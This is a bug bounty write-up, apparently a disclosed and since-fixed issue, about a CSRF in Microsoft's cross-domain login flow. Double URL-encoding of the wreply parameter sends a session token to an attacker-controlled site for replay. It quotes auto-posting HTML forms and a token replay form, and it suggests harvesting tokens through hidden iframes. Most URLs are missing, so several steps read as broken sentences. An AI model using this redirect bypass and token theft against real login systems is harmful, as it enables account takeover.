Microsoft 价值 $13,000 的 Authorization 漏洞 简单分析

This is pretty similar to Wes’s awesome OAuth CSRF in Live, except it’s in the main Microsoft authentication system rather than the OAuth approval prompt.

Microsoft, being a huge company, have various services spread across multiple domains (*, *, and so on).

To handle authentication across these services, requests are made to,, and to get a session for the user.

The flow for is as follows:

<html>    <head>        <noscript>JavaScript required to sign in</noscript>        <title>Continue</title>        <script type="text/javascript">            function OnBack(){}function DoSubmit(){var subt=false;if(!subt){subt=true;document.fmHF.submit();}}        </script>    </head>    <body onload="javascript:DoSubmit();">        <form name="fmHF" id="fmHF" action="" method="post" target="_self">            <input type="hidden" name="t" id="t" value="EgABAgMAAAAEgAAAA...">        </form>    </body></html>

Since the services are hosted on completely separate domains, and therefore cookies can’t be used, the token is the only value needed to authenticate as a user. This is similar-ish to how OAuth works.

What this means is that if we can get the above code to POST the value of t to a server we control, we can impersonate the user.

As expected, if we try and change the value of wreply to a non-Microsoft domain, such as, we receive an error, and the request isn’t processed:

Fun with URL-Encoding and URL Parsing

One fun trick to play around with is URL-encoding parameters multiple times. Occasionally this can be used to bypass different filters, which is the root cause of the bug.

In this case, wreply is URL-decoded before the domain is checked. Therefore becomes, which is valid, and the request goes through.

<form name="fmHF" id="fmHF" action="" method="post" target="_self">

What’s interesting is that when passing a value of an error is thrown, since isn’t a valid URL.

However, appending doesn’t generate an error. Instead, it gives us the following, which is a valid URL:

<form name="fmHF" id="fmHF" action="" method="post" target="_self">

If you’re wondering why this is valid, it’s because the syntax of a URL is as follows:


From this you can tell that the server is doing two checks:

It’s clear that server is decoding wreply n times until there are no longer any encoded characters, and then validating the domain. This sort of inconsistency is something I’m quite familiar with.

Now that we can specify an arbitrary URL to POST the token, the rest is trivial. We set the redirect to, which results in:

<form name="fmHF" id="fmHF" action="" method="post" target="_self">

This causes the token to be sent to our site:

Then we simply replay the token ourselves:

<form action="" method="post">    <input name="t" value="EgABAgMAAAAEgAAAAwAB...">    <input type="submit"></form>

Which then gives us complete access to the user’s account:

Note: The token is only valid for the service which issued it - an Outlook token can’t be used for Azure, for example. But it’d be simple enough to create multiple hidden iframes, each with the login URL set to a different service, and harvest tokens that way.

This was quite a fun CSRF to find and exploit. Despite CSRF bugs not having the same credibility as other bugs, when discovered in authentication systems their impact can be pretty large.


The hostname in wreply now must end in %2f, which gets URL-decoded to /.

This ensures that the browser only sends the request to the intended host.


websecbugbountymicrosoftofficeoutlookazurecsrfUpdated on April 03, 2016Jack